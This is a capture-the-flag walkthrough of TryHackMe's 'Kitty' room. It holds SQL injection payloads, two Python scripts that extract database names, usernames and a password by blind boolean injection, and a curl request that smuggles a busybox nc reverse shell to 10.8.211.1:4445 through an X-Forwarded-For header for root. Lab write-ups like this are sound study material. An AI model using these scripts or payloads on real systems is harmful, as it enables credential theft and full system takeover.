Kitty

Map? Where we are going, we don't need maps. - by hadrian3689

The following post by 0xb0b is licensed under CC BY 4.0

Recon

We start with a Nmap scan and discover only two open ports. SSH is running on port 22 and an HTTP server on port 80 that serves PHP via Apache.

We already know that we are dealing with PHP, so we add the .php extensions directly to our Gobuster scan. We find some pages that we could have found by visiting them manually.

Foothold

We visit the site and are greeted directly with a login page. We have the option of registering an account, but first let's use the destructive variant of an SQL injection to see if the login is vulnerable. You can find out why it is destructively in the following TryHackMe room:

' OR 1=1 -- -

After we have sent ' OR 1=1 -- -, we are informed that SQL Injection has been detected and this incident is now logged. Interesting. Possibly, this seems to be about SQL injection or bypassing the check.

Ok, let's create a test user. At first, I registered my own username, 0xb0b, here, but this was strangely also recognized as an SQL injection on log-in. The filter does not seem to be working properly.

After we have logged in with the test user, we are greeted on the welcome page. Strangely, we can only log out.

Now we try a less destructive SQL injection variant. We use the user we just created, and try to log in with this without a password.

This works; the filter does not seem to recognize everything, and fortunately, special characters are not sanitized

It is noticeable that if our SQL injection is successful, we are logged in. We are therefore informed whether our attack was successful. With this information, we can carry out a Blind Boolean Based SQL Injection Attack to enumerate the database, underlying tables and entries.

For this, I refer you to the following TryHackMe room, which explains this attack under Task 7 Blind SQLi - Boolean Based:

We first look at how many columns the underlying user table has. There are 4, with the following query, we can log in.

' UNION SELECT 1,2,3,4; -- -

We use here the -- - as an inline SQL comment in MySQL because MySQL requires the second dash in a double-dash comment to be followed by at least one whitespace character, which may be trimmed in web environments. By adding a character after the whitespace character, the trimming of it is prevented and the following is interpreted as a comment. A detailed explanation can be found here:

By using database(), we can enumerate the database name. To do this, we work our way through, letter for letter, with the like operator and the wildcard %. If we have a match, we are able to log in.

' UNION SELECT 1,2,3,4 where database() like '%'; -- -

Since this attack is very laborious, we write ourselves a script. The script checks each printable character and compares the response sizes, which changes with a successful login. If a character is in the pool, it is appended and work continues with it.

enum_db.py
import requests

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://kitty.thm/index.php'
headers = {
	'Host': 'kitty.thm',
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate, br',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Origin': 'http://kitty.thm',
	'Connection': 'close',
	'Referer': 'http://kitty.thm/index.php',
	'Upgrade-Insecure-Requests': '1'
}
result = ''
while True:
	for elem in probe:
		query = "' UNION SELECT 1,2,3,4 where database() like '{sub}%';-- -".format(sub=result+elem)
		data = {
		    'username': query,
		    'password': '123456'
		}
		response = requests.post(url, headers=headers, data=data,allow_redirects=True)
		#print("Size of Response Content:", len(response.content), "bytes")
		if(len(response.content) == 618):
			result += elem
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')

After a short duration, we get the database name websites.

The following query searches for results in the information_schema database in the tables table, where the database name starts with mywebsite. We can test this query in advance when logging in and see that we can log in successfully.

' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = 'mywebsite' and table_name like '%';-- -

Next, we adapt the query for the script enum_db.py, this can be replaced in the script at line 21.

query = "' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = 'mywebsite' and table_name like '{sub}%';-- -".format(sub=result+elem)

After a short time, we see that the user table has the name siteusers.

Theoretically, we could enumerate the columns names, but let's try it this way and assume that the columns are username and password. Let's prepare the query to enumerate the users in the database.

' UNION SELECT 1,2,3,4 from siteusers where username like '%' -- -

When enumerating, we notice that we find our user test first. Ok, it can happen; the script is not very cleverly designed. So let's adjust the query and ignore our user.

query = "' UNION SELECT 1,2,3,4 from siteusers where username like '{sub}%' -- -".format(sub=result+elem)

The following query can be used in the script to get the user.

query = "' UNION SELECT 1,2,3,4 from siteusers where username like '{sub}%' and username != 'test'-- -".format(sub=result+elem)

It is the user kitty.

Next, we can try to get kittys password.

query = "' UNION SELECT 1,2,3,4 from siteusers where username = 'kitty' and password like '{sub}%' -- -".format(sub=result+elem)

We get the password. But we cannot log in via SSH. The password does not seem quite correct. Unfortunately, we get everything in lowercase letters because like does not differentiate here. But there is a workaround:

If we want to match case-sensitively, we cast the value as binary. This is a byte-by-byte comparison vs. a character-by-character comparison. So, all we need to do is add the query is BINARY.

query = "' UNION SELECT 1,2,3,4 from siteusers where username = 'kitty' and password like BINARY '{sub}%' -- -".format(sub=result+elem)

With that, we get the correct password...

... and are able to log in via SSH as user kitty. We find the first flag in the user's home directory.

The following script combines all steps.

all.py
import requests

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://kitty.thm/index.php'
headers = {
	'Host': 'kitty.thm',
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate, br',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Origin': 'http://kitty.thm',
	'Connection': 'close',
	'Referer': 'http://kitty.thm/index.php',
	'Upgrade-Insecure-Requests': '1'
}
db_name = ''
table_name = '' 
user_name = '' 
password = '' 

state = 1
while state < 5:
	for elem in probe:
		if state == 1:
			query = "' UNION SELECT 1,2,3,4 where database() like '{sub}%';-- -".format(sub=db_name+elem)
		elif state == 2:
			query = "' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = '{db}' and table_name like '{sub}%';-- -".format(sub=table_name+elem, db=db_name)
		elif state == 3:
			query = "' UNION SELECT 1,2,3,4 from {tb} where username like '{sub}%' -- -".format(sub=user_name+elem,tb=table_name)
		elif state == 4:
			query = "' UNION SELECT 1,2,3,4 from {tb} where username = '{user}' and password like BINARY '{sub}%' -- -".format(sub=password+elem,tb=table_name,user=user_name)
		
		data = {
		    'username': query,
		    'password': '123456'
		}
		response = requests.post(url, headers=headers, data=data,allow_redirects=True)
		#print("Size of Response Content:", len(response.content), "bytes")
		if(len(response.content) == 618):
			if state == 1:
				db_name += elem
			if state == 2:
				table_name += elem	
			if state == 3:
				user_name += elem
			if state == 4:
				password += elem
			break
		if(elem == probe[-1]):
			print('\033[K')
			if state == 1:
				print("database:\t" + db_name)
			elif state == 2:
				print("table:\t\t" + table_name)
			elif state == 3:
				print("user:\t\t" + user_name)
			elif state == 4:
				print("password:\t" + password)
			state = state +1
		if(elem != "\n"):		
			if state == 1:
				print("database:\t" + db_name+elem,end='\r')
			elif state == 2:
				print("table:\t\t" + table_name+elem,end='\r')
			elif state == 3:
				print("user:\t\t" + user_name+elem,end='\r')
			elif state == 4:
				print("password:\t" + password+elem,end='\r')

Privilege Escalation

When enumerating, we use pspy64 and determine that a cronjob is running in the background. This executes the script /opt/log_checker.sh as root.

Unfortunately, we do not have write access to the script, but we can see that this shell script reads IP addresses from a file located at /var/www/development/logged, then appends each IP address to the file /root/logged, and finally clears the original file /var/www/development/logged.

The interesting part is, that it is invoking a new shell to echo the IP into /root/logged. So, if we are able to control IP, we should be able to execute commands via command injection.

Let's take a look at /var/www/development. We see the same pages here as the server provided us with before.

We remember that detected SQL Injection is logged. So let's take a look at index.php to see exactly how this happens.

Here we can see that the IP is determined through the X-Forwarded header. Nice. This we can control. We also see that 0x/i is recognized as an evil character, which is the reason why my username triggers the SQL injection detection.

Let's check where this development instance is running, because after making an 'evil' request with a set X-Forwarded-For header to kitty.thm nothing happened. Via apache2ctl -s we can display the current configuration settings of the Apache HTTP Server. We see an instance running on 127.0.0.1:8080 with a dev_site.conf. This seems to be our candidate.

To confirm this, we check out the config and see indeed its DocumentRoot at /var/www/development.

To access 127.0.0.1:8080, we could use local port forwarding via ssh. Or we just query that endpoint using cURL on the machine itself.

Next, we set up a simple post request with our evil username 0xb0b that only writes "hello" in the logged file using the X-Forwarded-For header. For this, we use cURL.

curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: hello" \
  -d "username=0xb0b&password=asdasd" \
  http://127.0.0.1:8080/index.php

After we have made our request, we see that the file logged actually has the content of the header.

We set up a listener on port 4445 and fire our request with a reverse shell payload. I like to use busybox because there are usually no special character needed, and it is very simple. We have previously found them on the system as user kitty.

We use command substitution via $(). Command substitution allows the output of a command to replace the command itself. This means that the command inside $() is evaluated first. It is important that we escape the $ with \, we want to write it to the file first; otherwise, it gets executed while doing the POST request and we get a connection back as the current user kitty.

Another good explanation of command substitution can be found here:

curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: \$(busybox nc 10.8.211.1 4445 -e /bin/bash)" \
  -d "username=0xb0b&password=asdasd" \
  http://127.0.0.1:8080/index.php

After we have submitted our request, we check the file logged and see the command as we need it. If log_checker.sh is now executed, the command is inserted as follows: /usr/bin/sh -c "echo $(busybox nc 10.8.211.1 4445 -e /bin/bash) >> /root/logged";

Then, subsequently, we get a connection. We are root and find the root flag in root's home directory.

Recommendation

Don't miss out on Aquinas' professional and well structued approach to solving this challenge using SQLMap:

Last updated